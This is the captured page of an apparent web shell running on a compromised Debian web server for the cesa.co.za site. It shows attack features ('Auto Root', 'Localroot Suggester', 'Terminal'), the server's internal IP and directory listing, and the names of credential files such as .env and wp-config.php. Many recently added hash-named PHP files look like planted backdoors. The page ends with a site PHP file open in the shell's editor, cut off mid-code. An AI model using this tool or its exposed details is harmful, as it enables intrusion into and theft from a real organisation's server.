Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
Delete
Unzip
Name
Size
Permission
Date
Action
.tmb
[ DIR ]
drwxr-sr-x
2026-02-09 12:11
.tmp
[ DIR ]
drwxr-sr-x
2024-12-05 11:04
ADOdb
[ DIR ]
drwxr-sr-x
2023-01-22 09:59
AnnualReview2008
[ DIR ]
drwxr-sr-x
2008-09-30 09:06
AnnualReview2009
[ DIR ]
drwxr-sr-x
2009-10-05 14:59
AnnualReview2010
[ DIR ]
drwxr-sr-x
2010-10-08 08:35
AnnualReview2011
[ DIR ]
drwxr-sr-x
2017-10-25 14:17
AnnualReview2012
[ DIR ]
drwxr-sr-x
2012-11-05 11:37
AnnualReview20122013
[ DIR ]
drwxr-sr-x
2013-11-15 07:35
AnnualReview20132014
[ DIR ]
drwxr-sr-x
2014-11-07 12:09
AnnualReview2015
[ DIR ]
drwxr-sr-x
2015-11-09 08:50
AnnualReview2017
[ DIR ]
drwxr-sr-x
2017-11-09 08:47
AnnualReview2018
[ DIR ]
drwxr-sr-x
2018-12-11 12:07
AnnualReview2019
[ DIR ]
drwxr-sr-x
2019-11-27 09:38
AnnualReview2020
[ DIR ]
drwxr-sr-x
2020-11-25 12:10
AnnualReview2021
[ DIR ]
drwxr-sr-x
2021-11-24 10:11
BEPEC_July_09
[ DIR ]
drwxr-sr-x
2009-07-13 11:03
CESA-Legacy2010
[ DIR ]
drwxr-sr-x
2010-01-22 06:25
CESAConference2014
[ DIR ]
drwxr-sr-x
2014-11-18 04:29
CESARelay2011
[ DIR ]
drwxr-sr-x
2011-07-12 12:43
CESA_60th_Flipbook
[ DIR ]
drwxr-sr-x
2012-07-04 10:24
Cesaconf2013
[ DIR ]
drwxr-sr-x
2013-09-05 11:25
CommitteeDocs
[ DIR ]
drwxrwsr-x
2020-07-29 14:26
DOF2018
[ DIR ]
drwxr-sr-x
2018-12-11 09:19
Directory2014
[ DIR ]
drwxr-sr-x
2013-12-14 07:12
Directory2015a
[ DIR ]
drwxr-sr-x
2015-11-30 11:36
Directory2016
[ DIR ]
drwxr-sr-x
2015-12-02 06:52
Directory2017
[ DIR ]
drwxr-sr-x
2020-06-06 15:57
Directory2018
[ DIR ]
drwxr-sr-x
2020-06-06 16:06
Directory2019
[ DIR ]
drwxr-sr-x
2019-11-27 09:46
InsideTrackApr2013
[ DIR ]
drwxr-sr-x
2013-04-10 13:37
InsideTrackApr2014
[ DIR ]
drwxr-sr-x
2014-04-30 12:20
InsideTrackAug2013
[ DIR ]
drwxr-sr-x
2013-08-12 10:28
InsideTrackDec2013
[ DIR ]
drwxr-sr-x
2013-12-11 09:09
InsideTrackNov2012
[ DIR ]
drwxr-sr-x
2012-12-03 12:29
InsideTrackSept2013
[ DIR ]
drwxr-sr-x
2013-10-01 07:20
Mailer
[ DIR ]
drwxr-sr-x
2022-06-16 14:49
NLCReports
[ DIR ]
drwxrwsr-x
2022-08-29 08:40
SAACEBranches
[ DIR ]
drwxrwsr-x
2020-08-09 16:13
XpertMailer
[ DIR ]
drwxr-sr-x
2008-08-06 07:31
YPF
[ DIR ]
drwxr-sr-x
2019-11-26 11:35
_f1l3z_
[ DIR ]
drwxr-sr-x
2008-10-23 07:04
app
[ DIR ]
drwxr-sr-x
2026-08-20 20:45
apply
[ DIR ]
drwxr-sr-x
2020-06-06 15:55
assets
[ DIR ]
drwxr-sr-x
2026-08-13 22:42
autosuggest
[ DIR ]
drwxr-sr-x
2026-08-20 14:06
awards-old
[ DIR ]
drwxr-sr-x
2026-08-20 16:37
awards2009
[ DIR ]
drwxr-sr-x
2009-02-23 06:54
awards2011
[ DIR ]
drwxr-sr-x
2011-02-10 06:04
books
[ DIR ]
drwxr-sr-x
2014-02-05 14:29
calendar
[ DIR ]
drwxr-sr-x
2008-03-14 10:37
callforentries2019
[ DIR ]
drwxr-sr-x
2019-02-04 14:03
callforentries2020
[ DIR ]
drwxr-sr-x
2021-02-10 14:45
callforentries2021
[ DIR ]
drwxr-sr-x
2021-05-14 13:16
cceadmin
[ DIR ]
drwxr-sr-x
2026-08-21 09:23
cceconvenors
[ DIR ]
drwxr-sr-x
2026-08-21 09:23
ccmadmin
[ DIR ]
drwxr-sr-x
2022-02-17 08:59
cenews
[ DIR ]
drwxr-sr-x
2021-01-29 12:21
cesanet
[ DIR ]
drwxr-sr-x
2026-08-20 14:39
cesaway
[ DIR ]
drwxr-sr-x
2009-08-31 09:33
cesaway_presentations
[ DIR ]
drwxr-sr-x
2009-10-14 11:37
cetrack
[ DIR ]
drwxr-sr-x
2022-08-04 10:36
cfg
[ DIR ]
drwxr-sr-x
2025-08-26 15:10
ci
[ DIR ]
drwxr-sr-x
2017-06-28 08:51
contracts
[ DIR ]
drwxr-sr-x
2026-08-20 14:51
cpdadmin
[ DIR ]
drwxr-sr-x
2026-08-20 18:31
crons
[ DIR ]
drwxr-sr-x
2026-08-25 04:40
css
[ DIR ]
drwxr-sr-x
2024-06-07 11:42
cvfiles
[ DIR ]
drwxr-sr-x
2026-08-18 09:27
eNews
[ DIR ]
drwxrwsr-x
2026-08-24 00:49
echasl23
[ DIR ]
drwxr-sr-x
2026-08-21 09:21
emailimg
[ DIR ]
drwxr-sr-x
2012-07-04 08:54
fidicafrica
[ DIR ]
drwxr-sr-x
2021-01-25 15:36
files
[ DIR ]
drwxr-sr-x
2014-08-06 09:04
fpdf
[ DIR ]
drwxr-sr-x
2013-05-22 07:59
galleries
[ DIR ]
drwxr-sr-x
2020-03-18 09:46
gamabulletin2019
[ DIR ]
drwxr-sr-x
2020-01-08 08:37
images
[ DIR ]
drwxr-sr-x
2022-10-10 12:53
inc
[ DIR ]
drwxr-sr-x
2008-01-08 16:09
includes
[ DIR ]
drwxr-sr-x
2020-06-06 16:06
indaba-old
[ DIR ]
drwxr-sr-x
2022-05-04 09:07
insidetrack
[ DIR ]
drwxr-sr-x
2016-12-18 13:05
jQueryAssets
[ DIR ]
drwxr-sr-x
2017-03-01 08:14
js
[ DIR ]
drwxr-sr-x
2025-02-20 13:23
lang
[ DIR ]
drwxr-sr-x
2014-01-13 05:58
logs
[ DIR ]
drwxrwsr-x
2025-07-15 17:17
members
[ DIR ]
drwxr-sr-x
2026-08-20 17:47
mentanet
[ DIR ]
drwxr-sr-x
2026-08-20 23:56
misc
[ DIR ]
drwxr-sr-x
2014-11-05 08:45
pdf
[ DIR ]
drwxr-sr-x
2008-04-16 08:27
php
[ DIR ]
drwxr-sr-x
2026-08-20 14:43
phpmailer
[ DIR ]
drwxr-sr-x
2022-09-15 10:50
practicenotes
[ DIR ]
drwxrwsr-x
2026-07-09 11:58
profiles
[ DIR ]
drwxr-sr-x
2010-08-25 04:44
public_downloads
[ DIR ]
drwxr-sr-x
2026-06-23 08:21
python
[ DIR ]
drwxr-sr-x
2025-12-29 09:33
relay
[ DIR ]
drwxr-sr-x
2021-02-10 14:48
school
[ DIR ]
drwxr-sr-x
2026-08-21 09:21
scripts
[ DIR ]
drwxr-sr-x
2026-07-20 12:57
sipdm.cesa.co.za
[ DIR ]
drwxr-sr-x
2020-06-06 15:54
sipdmdata
[ DIR ]
drwxr-sr-x
2019-11-18 12:56
sites
[ DIR ]
drwxr-sr-x
2010-08-25 04:47
sqllogs
[ DIR ]
drwxr-sr-x
2010-09-11 03:00
temp
[ DIR ]
drwxrwsr-x
2026-08-21 09:21
tenders
[ DIR ]
drwxrwsr-x
2026-08-21 09:21
themes
[ DIR ]
drwxr-sr-x
2010-08-25 04:50
uploads
[ DIR ]
drwxrwsr-x
2026-08-24 07:42
vendor
[ DIR ]
drwxr-sr-x
2026-03-31 11:17
wp-admin
[ DIR ]
drwxr-sr-x
2026-07-03 02:00
wp-content
[ DIR ]
drwxr-sr-x
2026-08-21 08:32
wp-includes
[ DIR ]
drwxr-sr-x
2026-08-20 16:07
.env
44
B
-rw-r--r--
2026-04-02 12:23
.htaccess
538
B
-rw-r--r--
2026-08-21 08:52
.htaccess_drupal
6.11
KB
-rw-r--r--
2019-08-31 10:00
.htaccess_drupal-old
6.11
KB
-rw-r--r--
2019-08-31 10:00
09._guidelines_&_criteria_for_positioning_of_departments,_programmes_and_modules.pdf
191.91
KB
-rw-r--r--
2026-06-18 12:04
11-quality-management-system-qms_accountability,_organogram.docx
175.92
KB
-rw-r--r--
2026-06-11 17:37
12.accountabilty_structure.pdf
48.39
KB
-rw-r--r--
2025-09-30 09:53
12_accountability_structure_standalone_field.pdf
1.92
MB
-rw-r--r--
2026-07-07 08:58
18_academy_organogram_&_raci.pdf
261.67
KB
-rw-r--r--
2025-11-28 13:07
20250711_cesa_golf_challenge_sponsorship.pdf
4.33
MB
-rw-r--r--
2025-08-01 10:25
2025_qms_.doc
1010
KB
-rw-r--r--
2025-08-05 10:17
22f87fdb77index.php
8.14
KB
-rw-r--r--
2026-08-21 05:12
4._training_validation_-_machine_learning_-_cesa-2304-10-2027.pdf
312.63
KB
-rw-r--r--
2025-04-25 11:21
4984_36869.pdf
0
B
-rw-r--r--
2025-06-26 08:49
4991_35581.pdf
0
B
-rw-r--r--
2025-07-01 15:29
5171_37515.pdf
0
B
-rw-r--r--
2025-06-17 13:54
5192_37935.pdf
0
B
-rw-r--r--
2025-07-02 08:16
5192_37937.pdf
0
B
-rw-r--r--
2025-06-26 11:35
5204_37686.pdf
0
B
-rw-r--r--
2025-06-17 15:10
5204_37809.pdf
0
B
-rw-r--r--
2025-06-19 16:30
5204_37905.pdf
0
B
-rw-r--r--
2025-06-17 14:18
5204_37925.pdf
0
B
-rw-r--r--
2025-06-19 16:30
5204_38031.pdf
0
B
-rw-r--r--
2025-06-19 16:30
5204_38115.pdf
0
B
-rw-r--r--
2025-06-20 18:52
5204_38205.pdf
0
B
-rw-r--r--
2025-06-18 09:47
5204_38234.pdf
0
B
-rw-r--r--
2025-06-16 11:58
5204_38239.pdf
0
B
-rw-r--r--
2025-06-19 16:30
5207_38258.pdf
0
B
-rw-r--r--
2025-06-24 14:47
5211_38293.pdf
0
B
-rw-r--r--
2025-06-19 06:24
5212_38132.pdf
0
B
-rw-r--r--
2025-06-17 07:10
5216_37748.pdf
0
B
-rw-r--r--
2025-06-25 13:16
5216_38313.pdf
0
B
-rw-r--r--
2025-06-17 07:04
5217_38327.pdf
0
B
-rw-r--r--
2025-06-19 08:03
5217_38377.pdf
0
B
-rw-r--r--
2025-06-19 16:30
5217_38388.pdf
0
B
-rw-r--r--
2025-06-17 07:11
5217_38400.pdf
0
B
-rw-r--r--
2025-07-01 06:04
5217_38401.pdf
0
B
-rw-r--r--
2025-07-01 06:04
5217_38404.pdf
0
B
-rw-r--r--
2025-07-01 06:04
5219_38296.pdf
0
B
-rw-r--r--
2025-06-30 16:30
5219_38417.pdf
0
B
-rw-r--r--
2025-07-01 04:33
5219_38418.pdf
0
B
-rw-r--r--
2025-06-30 16:30
5219_38424.pdf
0
B
-rw-r--r--
2025-06-30 17:09
5219_38494.pdf
0
B
-rw-r--r--
2025-06-30 16:30
5219_38543.pdf
0
B
-rw-r--r--
2025-06-30 16:30
5219_38563.pdf
0
B
-rw-r--r--
2025-07-01 06:19
5220_37943.pdf
0
B
-rw-r--r--
2025-07-01 08:39
5220_38015.pdf
0
B
-rw-r--r--
2025-06-24 16:30
5220_38016.pdf
0
B
-rw-r--r--
2025-06-30 06:28
5220_38017.pdf
0
B
-rw-r--r--
2025-06-24 16:30
5220_38018.pdf
0
B
-rw-r--r--
2025-06-24 16:30
5220_38027.pdf
0
B
-rw-r--r--
2025-06-26 14:23
5220_38092.pdf
0
B
-rw-r--r--
2025-06-26 10:37
5220_38135.pdf
0
B
-rw-r--r--
2025-06-27 07:00
5220_38136.pdf
0
B
-rw-r--r--
2025-06-26 14:06
5220_38242.pdf
0
B
-rw-r--r--
2025-06-24 16:30
5220_38276.pdf
0
B
-rw-r--r--
2025-06-30 07:54
5220_38354.pdf
0
B
-rw-r--r--
2025-06-25 13:56
5220_38355.pdf
0
B
-rw-r--r--
2025-07-01 16:30
5220_38496.pdf
0
B
-rw-r--r--
2025-06-24 16:30
5221_38025.pdf
0
B
-rw-r--r--
2025-06-24 16:30
5221_38237.pdf
0
B
-rw-r--r--
2025-06-26 12:03
5221_38265.pdf
0
B
-rw-r--r--
2025-06-24 17:56
5221_38266.pdf
0
B
-rw-r--r--
2025-06-27 11:55
5221_38267.pdf
0
B
-rw-r--r--
2025-06-24 16:30
5221_38268.pdf
0
B
-rw-r--r--
2025-06-24 16:30
5222_38356.pdf
0
B
-rw-r--r--
2025-06-25 16:30
5222_38487.pdf
0
B
-rw-r--r--
2025-06-25 16:30
5222_38495.pdf
0
B
-rw-r--r--
2025-06-26 06:09
5223_38297.pdf
0
B
-rw-r--r--
2025-06-27 07:20
5223_38376.pdf
0
B
-rw-r--r--
2025-06-27 17:07
5224_37740.pdf
0
B
-rw-r--r--
2025-06-26 16:31
5224_38309.pdf
0
B
-rw-r--r--
2025-06-29 15:22
5224_38403.pdf
0
B
-rw-r--r--
2025-06-30 08:17
5226_38359.pdf
0
B
-rw-r--r--
2025-06-30 16:30
5226_38493.pdf
0
B
-rw-r--r--
2025-07-01 06:16
5226_38510.pdf
0
B
-rw-r--r--
2025-07-01 07:31
5226_38565.pdf
0
B
-rw-r--r--
2025-06-30 16:30
5227_38537.pdf
0
B
-rw-r--r--
2025-06-30 16:30
52a4cf1925.php
24.73
KB
-rw-r--r--
2026-08-19 08:59
52a4cf1925.txt
24.73
KB
-rw-r--r--
2026-08-19 08:59
52a4cf1925index.php
24.73
KB
-rw-r--r--
2026-08-19 08:59
5326d376f6index.php
8.14
KB
-rw-r--r--
2026-08-20 06:10
5476_38024.pdf
0
B
-rw-r--r--
2025-06-29 09:17
55e67dd626.php
24.73
KB
-rw-r--r--
2026-08-14 11:41
55e67dd626.txt
24.73
KB
-rw-r--r--
2026-08-14 11:41
55e67dd626index.php
24.73
KB
-rw-r--r--
2026-08-14 11:41
6290832e92ec.php
375
B
-rw-r--r--
2026-08-20 15:15
743a83a7ccindex.php
8.14
KB
-rw-r--r--
2026-08-17 12:03
7707af981dindex.php
8.14
KB
-rw-r--r--
2026-08-18 09:21
79d9bac58a.php
24.73
KB
-rw-r--r--
2026-08-18 07:38
79d9bac58a.txt
24.73
KB
-rw-r--r--
2026-08-18 07:38
79d9bac58aindex.php
24.73
KB
-rw-r--r--
2026-08-18 07:38
BEPMEDS COMMUNIQUE - CESA.DOC
49.5
KB
-rw-r--r--
2009-10-02 16:34
BST_transparent_blue.gif
11.91
KB
-rw-r--r--
2008-01-08 15:55
BreakfastReturn.pdf
8.93
KB
-rw-r--r--
2008-01-08 15:54
CESA_Amended_Codes_Workshop_30July2014.ppt
1.88
MB
-rw-r--r--
2014-08-12 14:46
Cesa-invitation_VIP-accept-and-decline.html
1.39
KB
-rw-r--r--
2016-06-08 12:59
DailyTenders_SAACE.gif
12.49
KB
-rw-r--r--
2008-01-08 15:55
FlowPlayerLight.swf
117.41
KB
-rw-r--r--
2008-08-11 13:46
GSP070206.pdf
21.06
KB
-rw-r--r--
2008-01-08 15:54
GSP080206.pdf
20.1
KB
-rw-r--r--
2008-01-08 15:54
GolfEntryForm.pdf
95.91
KB
-rw-r--r--
2008-01-08 15:55
INDUNA_CONSTRUCTION_CONTRACTS_-_CESA.pdf
783.78
KB
-rw-r--r--
2016-09-28 10:18
Imbizo_invite.html
1.14
KB
-rw-r--r--
2016-07-27 05:08
JobShadow2010.php
460
B
-rw-r--r--
2010-05-18 15:00
Movie1.swf
47.11
KB
-rw-r--r--
2008-01-08 15:55
Movie2.swf
46.93
KB
-rw-r--r--
2008-01-08 15:55
Movie2005.swf
36.58
KB
-rw-r--r--
2008-01-08 15:54
Movie3.swf
27.18
KB
-rw-r--r--
2008-01-08 15:55
MovieNew.swf
39.99
KB
-rw-r--r--
2008-01-08 15:54
Naren_Bhojaram_from_CESA .mp3
2.71
MB
-rw-r--r--
2013-05-27 08:00
SAACE_CESA.flv
19.23
MB
-rw-r--r--
2008-08-11 13:50
SAACE_Inside_Track2003.pdf
20
KB
-rw-r--r--
2008-01-08 15:55
a876a85d3b.php
24.73
KB
-rw-r--r--
2026-08-21 04:27
a876a85d3b.txt
24.73
KB
-rw-r--r--
2026-08-21 04:27
a876a85d3bindex.php
24.73
KB
-rw-r--r--
2026-08-21 04:27
accontability_structure.pdf
302.83
KB
-rw-r--r--
2025-09-17 13:38
accountability_structure.pdf
161.9
KB
-rw-r--r--
2026-07-07 12:50
accountability_structure_1.pdf
92.29
KB
-rw-r--r--
2025-11-26 09:50
accountability_structure_2.pdf
445.72
KB
-rw-r--r--
2025-09-08 12:24
accountability_structure_4_cpd_serv_training_prov.pdf
3.95
MB
-rw-r--r--
2025-05-20 15:23
accountability_structure_for_cpd_management_rms.pdf
37.96
KB
-rw-r--r--
2026-05-18 18:14
accountability_structure_organigram.pdf
210.16
KB
-rw-r--r--
2026-07-06 13:05
accountabiltiy_structure.pdf
173.57
KB
-rw-r--r--
2025-10-14 13:23
adecletter.html
4.32
KB
-rw-r--r--
2015-01-21 06:37
awards-from-forminator.php
17.27
KB
-rw-r--r--
2025-06-24 06:19
awards2015email.html
734
B
-rw-r--r--
2015-07-08 06:06
bc4ceaf31aindex.php
8.14
KB
-rw-r--r--
2026-08-19 10:21
becs.php
170.89
KB
-rw-r--r--
2026-06-24 09:58
becs_december_2024.pdf
554.51
KB
-rw-r--r--
2025-06-18 10:54
becs_june_2025.pdf
541
KB
-rw-r--r--
2025-06-25 11:24
becs_original.php
114.51
KB
-rw-r--r--
2021-02-23 10:07
becs_prev.php
114.21
KB
-rw-r--r--
2020-02-11 10:14
becs_reduced.php
63.14
KB
-rw-r--r--
2018-12-12 08:05
book.swf
4.72
KB
-rw-r--r--
2014-08-06 09:05
bookContent.swf
918.45
KB
-rw-r--r--
2014-08-06 09:05
c6f05048df.php
24.73
KB
-rw-r--r--
2026-08-20 05:35
c6f05048df.txt
24.73
KB
-rw-r--r--
2026-08-20 05:35
c6f05048dfindex.php
24.73
KB
-rw-r--r--
2026-08-20 05:35
cement_logo_2_col.jpg
10.53
KB
-rw-r--r--
2008-01-08 15:55
certificate_e-course_sec_2129tm_20250303.pdf
312.41
KB
-rw-r--r--
2025-06-19 12:10
cesa.css
26.92
KB
-rw-r--r--
2008-08-07 04:56
cesaradio.mp3
471.43
KB
-rw-r--r--
2012-02-02 05:10
cf39e0d417.php
24.73
KB
-rw-r--r--
2026-08-17 11:23
cf39e0d417.txt
24.73
KB
-rw-r--r--
2026-08-17 11:23
cf39e0d417index.php
24.73
KB
-rw-r--r--
2026-08-17 11:23
civil_suite_courses_registration_as_a_training_provider.pdf
2.17
MB
-rw-r--r--
2025-08-05 12:34
cl.php
1.13
KB
-rw-r--r--
2020-11-02 06:47
clip_image001.gif
2.33
KB
-rw-r--r--
2008-01-08 15:54
company_organogram_gbc.pdf
117.6
KB
-rw-r--r--
2025-10-24 08:18
composer.json
606
B
-rw-r--r--
2026-03-31 11:17
composer.lock
140.48
KB
-rw-r--r--
2026-03-31 11:17
comprehensive_qms_for_training.docx
25.21
KB
-rw-r--r--
2025-06-19 12:10
con2000eventschedule.pdf
9.24
KB
-rw-r--r--
2008-01-08 15:55
copy.php
574
B
-rw-r--r--
2020-03-20 05:36
cpd_accredited_training_organogram_2025_-_copy.pptx
11
MB
-rw-r--r--
2025-04-25 11:21
cpd_qms_attendance_&_response.docx
96.74
KB
-rw-r--r--
2026-02-17 09:58
cron.php
206
B
-rw-r--r--
2014-12-11 05:47
download-file.php
954
B
-rw-r--r--
2014-10-29 09:24
downloadsmme.php
7.48
KB
-rw-r--r--
2024-04-22 11:49
e6cd5846e7index.php
8.14
KB
-rw-r--r--
2026-08-14 11:45
emailtemplate.html
1.77
KB
-rw-r--r--
2015-02-04 12:37
enews.php
833
B
-rw-r--r--
2022-06-16 15:07
fachs_group_organogram_2026_college.pdf
66.55
KB
-rw-r--r--
2026-07-16 10:53
favicon.ico
14.73
KB
-rw-r--r--
2008-08-06 10:32
favicon_old.ico
3.55
KB
-rw-r--r--
2008-01-21 09:27
fidic_03.pdf
41.23
KB
-rw-r--r--
2008-01-08 15:55
flashembed.min.js
5.44
KB
-rw-r--r--
2008-08-11 13:46
generalnlc.tmpl
1.32
KB
-rw-r--r--
2012-02-02 06:18
gl_interview.mp3
1.29
MB
-rw-r--r--
2012-06-20 05:36
golf.html
3.24
KB
-rw-r--r--
2008-01-08 15:55
golf_challenge_2008_rsvp_form.pdf
45.26
KB
-rw-r--r--
2008-05-13 10:21
google2ff62a1d1e969568.html
53
B
-rw-r--r--
2012-01-30 11:28
greenbuilding_2_7.html
41.78
KB
-rw-r--r--
2008-07-14 16:37
hidden_for_security_reason_update.php
25.68
KB
-rw-r--r--
2014-12-11 06:03
inc_googletag.php
268
B
-rw-r--r--
2022-03-30 09:35
inc_reportquesdetailed.php
4.53
KB
-rw-r--r--
2025-07-01 09:58
inc_reportquestionnaire.php
14.41
KB
-rw-r--r--
2025-07-01 10:31
inc_testreport.php
3.38
KB
-rw-r--r--
2021-03-18 17:18
inc_testreportdetailed.php
4.63
KB
-rw-r--r--
2021-09-21 12:24
indaba_dinner_email.html
3.08
KB
-rw-r--r--
2015-11-04 08:57
index.php
405
B
-rw-r--r--
2026-08-20 16:07
index_old.php
923
B
-rw-r--r--
2014-12-11 05:47
induna_consulting_document_prodecure_and_systems.pdf
67.08
KB
-rw-r--r--
2025-10-29 07:45
jobshadow2010.php
460
B
-rw-r--r--
2010-05-18 09:23
kitc------accountability_structure.pdf
526.98
KB
-rw-r--r--
2026-02-17 16:31
license.txt
19.44
KB
-rw-r--r--
2026-08-20 16:07
login.php
2.58
KB
-rw-r--r--
2014-08-13 08:55
matrixquerytemplate.htm
1.25
KB
-rw-r--r--
2008-01-08 15:55
matrixtemplate.htm
2.13
KB
-rw-r--r--
2008-01-08 15:54
med-techengineers_academy_-__certificate_2027.pdf
471.3
KB
-rw-r--r--
2025-09-17 13:38
menu.js
32.63
KB
-rw-r--r--
2010-08-23 08:57
menu_com.js
24.47
KB
-rw-r--r--
2008-01-08 15:55
misexport.php
23.24
KB
-rw-r--r--
2026-02-16 16:04
misletter.html
6.35
KB
-rw-r--r--
2026-06-22 13:48
mtcpd-qms-3_document_and_data_control_.pdf
288.43
KB
-rw-r--r--
2025-06-10 12:31
newindex.html
23.9
KB
-rw-r--r--
2016-01-27 10:27
nordic_2024.pdf
644.05
KB
-rw-r--r--
2025-06-20 06:47
ok-logo.jpg
59.8
KB
-rw-r--r--
2025-03-25 11:41
organogram.png
1.49
MB
-rw-r--r--
2026-05-26 10:41
other_volunteer_association.pdf
16.61
KB
-rw-r--r--
2025-03-26 09:33
overlib.js
49.54
KB
-rw-r--r--
2009-01-30 09:59
php.ini
78
B
-rw-r--r--
2026-08-21 04:27
php8.1_cli_errors.log
273.72
MB
-rw-r--r--
2026-08-25 04:40
php_errors.log
1.75
MB
-rw-r--r--
2026-08-21 08:30
phpinfo.php
19
B
-rw-r--r--
2015-10-12 10:03
pia_20250630-20260630_-_principal_agent.pdf
171.84
KB
-rw-r--r--
2026-03-11 11:59
producenlcmatrix.php4
653
B
-rw-r--r--
2008-08-07 04:55
provnlc.tmpl
1.89
KB
-rw-r--r--
2012-02-02 06:18
qms_cpd_application.pdf
508.8
KB
-rw-r--r--
2025-08-27 10:25
qsm_wisa_cpd.pdf
41.95
KB
-rw-r--r--
2025-06-20 06:47
quality_management_system_for_the_administration_of_cpd_training_activities_-_rev_1.pdf
2.8
MB
-rw-r--r--
2026-03-12 19:44
querynlcmatrix.php4
14.58
KB
-rw-r--r--
2012-02-02 06:35
questionnaire.php
16.56
KB
-rw-r--r--
2025-06-29 08:51
quotation-_ehlanzeni_tvet_college__conflict_management.pdf
525.3
KB
-rw-r--r--
2026-03-05 08:31
readme.html
7.23
KB
-rw-r--r--
2026-08-20 16:07
reportquesdetailed.php
2.38
KB
-rw-r--r--
2025-07-01 09:58
reportquesexport.php
6.04
KB
-rw-r--r--
2021-10-07 10:26
reportquestionnaire.php
1.45
KB
-rw-r--r--
2025-07-01 10:02
robots.txt
1.74
KB
-rw-r--r--
2015-07-27 08:25
saace.css
25.83
KB
-rw-r--r--
2008-01-08 15:54
saace.html
6.6
KB
-rw-r--r--
2008-01-08 15:54
saacenew.css
27.15
KB
-rw-r--r--
2008-05-28 13:31
sanitize.php
5.19
KB
-rw-r--r--
2008-08-19 14:59
savebecs.php
3.72
KB
-rw-r--r--
2025-06-25 13:09
savequestionnaire.php
5.86
KB
-rw-r--r--
2026-02-04 15:20
savetest.php
24.54
KB
-rw-r--r--
2025-08-11 13:06
sce_survey2015.php
25.05
KB
-rw-r--r--
2015-12-09 09:32
sivest_cpd_accountabilty_process_-_12032026.pdf
160.87
KB
-rw-r--r--
2026-04-07 13:50
spcertificate_template.pdf
221.34
KB
-rw-r--r--
2026-02-10 10:14
strategythatworks.html
5.65
KB
-rw-r--r--
2016-07-06 08:44
test.pdf
38.14
KB
-rw-r--r--
2020-05-21 21:06
test.php
15.24
KB
-rw-r--r--
2025-06-29 08:51
test_base64_email.php
4.87
KB
-rw-r--r--
2025-07-07 15:53
testreport.php
1.29
KB
-rw-r--r--
2021-03-18 17:24
testreportdetailed.php
2.43
KB
-rw-r--r--
2021-03-18 17:24
testreportexport.php
5.61
KB
-rw-r--r--
2021-03-18 17:24
think_composites_course_accountability_structure_5_june_2026.pdf
201.5
KB
-rw-r--r--
2026-06-06 07:55
training_flow_chart.pdf
424.98
KB
-rw-r--r--
2025-12-03 12:57
tri.gif
77
B
-rw-r--r--
2008-01-08 15:55
tridown.gif
76
B
-rw-r--r--
2008-01-08 15:55
trileft.gif
76
B
-rw-r--r--
2008-01-08 15:55
unsubscribe.txt
3.24
KB
-rw-r--r--
2016-01-05 06:57
wordpress-integration.php
9.12
KB
-rw-r--r--
2025-07-07 15:53
wp-activate.php
7.54
KB
-rw-r--r--
2026-08-20 16:07
wp-blog-header.php
351
B
-rw-r--r--
2021-12-06 16:06
wp-comments-post.php
2.27
KB
-rw-r--r--
2023-08-08 20:49
wp-config-backup.php
3.02
KB
-rw-r--r--
2020-03-20 03:59
wp-config-sample.php
3.26
KB
-rw-r--r--
2025-12-28 11:24
wp-config.php
3.58
KB
-rw-r-----
2026-08-21 09:25
wp-cron.php
5.49
KB
-rw-r--r--
2024-11-14 00:00
wp-links-opml.php
2.43
KB
-rw-r--r--
2025-12-28 11:24
wp-load.php
3.84
KB
-rw-r--r--
2024-07-16 20:49
wp-login.php
51.3
KB
-rw-r--r--
2026-08-20 16:07
wp-mail.php
8.52
KB
-rw-r--r--
2025-12-28 11:24
wp-settings.php
32.38
KB
-rw-r--r--
2026-08-20 16:07
wp-signup.php
34.26
KB
-rw-r--r--
2026-08-20 16:07
wp-trackback.php
5.27
KB
-rw-r--r--
2026-08-20 16:07
xmlrpc.php
3.13
KB
-rw-r--r--
2025-04-16 15:00
Save
Rename
<?php session_start(); include_once($_SERVER['DOCUMENT_ROOT'] . "/php/inc_db.php"); include_once($_SERVER['DOCUMENT_ROOT'] . "/cesanet/inc_shared.php"); $conni_orange = $conni; $GroupID = intval($_GET["id"]); $Questionnaire_ID = intval($_GET["qid"]); $sql = "SELECT * FROM Questionnaires WHERE Questionnaire_ID='" . $Questionnaire_ID . "'"; $rec = mysqli_query($conni_orange, $sql); if ($row = mysqli_fetch_assoc($rec)) { extract($row); } mysqli_free_result($rec); ?> <html> <head> <title>Questionnaire</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> </head> <body class="bg-dark"> <div class="container bg-light"> <div class="row"> <div class="col-12"> <?php $GroupID = intval($_POST["id"]); $Questionnaire_ID = intval($_POST["qid"]); $sql = "SELECT * FROM Questionnaires WHERE Questionnaire_ID='" . $Questionnaire_ID . "'"; $rec = mysqli_query($conni_orange, $sql); if ($row = mysqli_fetch_assoc($rec)) { extract($row); } mysqli_free_result($rec); $sLogo = ""; $sql = "SELECT Questions.Question_ID, Answers.Answer_ID FROM Questions JOIN Answers USING (Question_ID) " . "WHERE Questions.Questionnaire_ID=" . $Questionnaire_ID . " " . "AND Questions.Question LIKE '%First%Name%' " . "AND Questions.IsOptional=0"; $rec = mysqli_query($conni_orange, $sql); $sFirstName = ""; if ($row = mysqli_fetch_assoc($rec)) $sFirstName = $_POST["Question_" . $row["Question_ID"] . "_" . $row["Answer_ID"]]; $sql = "SELECT Questions.Question_ID, Answers.Answer_ID FROM Questions JOIN Answers USING (Question_ID) " . "WHERE Questions.Questionnaire_ID=" . $Questionnaire_ID . " " . "AND Questions.Question LIKE '%Surname%' " . "AND Questions.IsOptional=0"; $rec = mysqli_query($conni_orange, $sql); $sSurname = ""; if ($row = mysqli_fetch_assoc($rec)) $sSurname = $_POST["Question_" . $row["Question_ID"] . "_" . $row["Answer_ID"]]; $RespondeeName = $sFirstName . " " . $sSurname; $sql = "SELECT Questions.Question_ID, Answers.Answer_ID FROM Questions JOIN Answers USING (Question_ID) " . "WHERE Questions.Questionnaire_ID=" . $Questionnaire_ID . " " . "AND Questions.Question LIKE '%Email%Address%' " . "AND 